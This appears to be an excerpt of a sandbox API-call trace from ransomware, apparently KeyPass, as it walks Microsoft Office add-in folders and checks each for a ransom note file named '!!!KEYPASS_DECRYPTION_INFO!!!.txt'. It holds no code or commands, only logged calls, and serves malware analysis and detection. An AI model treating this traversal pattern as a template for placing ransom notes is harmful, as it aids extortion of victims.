PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.321] GetFileType (hFile=0x1220) returned 0x1 [0273.322] CloseHandle (hObject=0x1220) returned 1 [0273.322] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.322] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.322] GetLastError () returned 0x3f0 [0273.322] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tr\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.322] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.323] GetFileType (hFile=0x1224) returned 0x1 [0273.324] CloseHandle (hObject=0x1224) returned 1 [0273.324] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.324] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.324] GetLastError () returned 0x3f0 [0273.324] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tt\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.324] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.325] GetFileType (hFile=0x1228) returned 0x1 [0273.325] CloseHandle (hObject=0x1228) returned 1 [0273.325] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.325] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.325] GetLastError () returned 0x3f0 [0273.325] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ug\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ug\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.325] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ug\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.326] GetFileType (hFile=0x122c) returned 0x1 [0273.327] CloseHandle (hObject=0x122c) returned 1 [0273.327] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.327] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.327] GetLastError () returned 0x3f0 [0273.327] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\uk\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\uk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.327] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\uk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.329] GetFileType (hFile=0x1234) returned 0x1 [0273.330] CloseHandle (hObject=0x1234) returned 1 [0273.330] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.330] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.330] GetLastError () returned 0x3f0 [0273.330] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ur\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ur\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.330] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ur\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.331] GetFileType (hFile=0x1238) returned 0x1 [0273.332] CloseHandle (hObject=0x1238) returned 1 [0273.332] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.332] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.332] GetLastError () returned 0x3f0 [0273.332] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\uz-Latn-UZ\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\uz-Latn-UZ\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.332] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\uz-Latn-UZ\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.333] GetFileType (hFile=0x123c) returned 0x1 [0273.334] CloseHandle (hObject=0x123c) returned 1 [0273.334] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.334] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.334] GetLastError () returned 0x3f0 [0273.334] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\vi\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\vi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.334] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\vi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.335] GetFileType (hFile=0x1240) returned 0x1 [0273.335] CloseHandle (hObject=0x1240) returned 1 [0273.336] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.336] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.336] GetLastError () returned 0x3f0 [0273.336] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANS\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.336] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.348] GetFileType (hFile=0x1230) returned 0x1 [0273.349] CloseHandle (hObject=0x1230) returned 1 [0273.349] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.349] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.349] GetLastError () returned 0x3f0 [0273.349] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANT\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.349] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.350] GetFileType (hFile=0x1244) returned 0x1 [0273.351] CloseHandle (hObject=0x1244) returned 1 [0273.351] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0273.351] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.351] GetLastError () returned 0x3f0 [0273.351] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power Map Excel Add-in\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power Map Excel Add-in\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.351] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power Map Excel Add-in\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.352] GetFileType (hFile=0x1248) returned 0x1 [0273.353] CloseHandle (hObject=0x1248) returned 1 [0273.353] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0273.353] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.353] GetLastError () returned 0x3f0 [0273.353] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.353] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.593] GetFileType (hFile=0x1250) returned 0x1 [0273.595] CloseHandle (hObject=0x1250) returned 1 [0273.596] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.596] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.596] GetLastError () returned 0x3f0 [0273.596] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ar\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ar\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.596] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ar\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.633] GetFileType (hFile=0x124c) returned 0x1 [0273.634] CloseHandle (hObject=0x124c) returned 1 [0273.634] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.634] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.634] GetLastError () returned 0x3f0 [0273.634] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\bg\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\bg\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.634] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\bg\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.636] GetFileType (hFile=0x1254) returned 0x1 [0273.636] CloseHandle (hObject=0x1254) returned 1 [0273.637] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.637] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.637] GetLastError () returned 0x3f0 [0273.637] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ca\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ca\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.637] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ca\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.651] GetFileType (hFile=0x125c) returned 0x1 [0273.651] CloseHandle (hObject=0x125c) returned 1 [0273.652] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.652] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.652] GetLastError () returned 0x3f0 [0273.652] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\cs\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\cs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.652] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\cs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.668] GetFileType (hFile=0x1260) returned 0x1 [0273.669] CloseHandle (hObject=0x1260) returned 1 [0273.669] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.669] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.669] GetLastError () returned 0x3f0 [0273.669] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\da\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\da\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.669] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\da\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.671] GetFileType (hFile=0x1258) returned 0x1 [0273.672] CloseHandle (hObject=0x1258) returned 1 [0273.672] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.672] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.673] GetLastError () returned 0x3f0 [0273.673] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\de\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\de\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.673] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\de\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.675] GetFileType (hFile=0x1268) returned 0x1 [0273.676] CloseHandle (hObject=0x1268) returned 1 [0273.677] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.677] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.677] GetLastError () returned 0x3f0 [0273.677] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\el\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\el\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.677] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\el\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.678] GetFileType (hFile=0x126c) returned 0x1 [0273.679] CloseHandle (hObject=0x126c) returned 1 [0273.679] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.679] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.679] GetLastError () returned 0x3f0 [0273.679] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\es\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\es\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.680] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\es\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.681] GetFileType (hFile=0x1270) returned 0x1 [0273.682] CloseHandle (hObject=0x1270) returned 1 [0273.682] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.682] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.682] GetLastError () returned 0x3f0 [0273.682] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\et\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\et\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.682] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\et\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.682] GetFileType (hFile=0x1274) returned 0x1 [0273.683] CloseHandle (hObject=0x1274) returned 1 [0273.684] PeekMessageW (in: 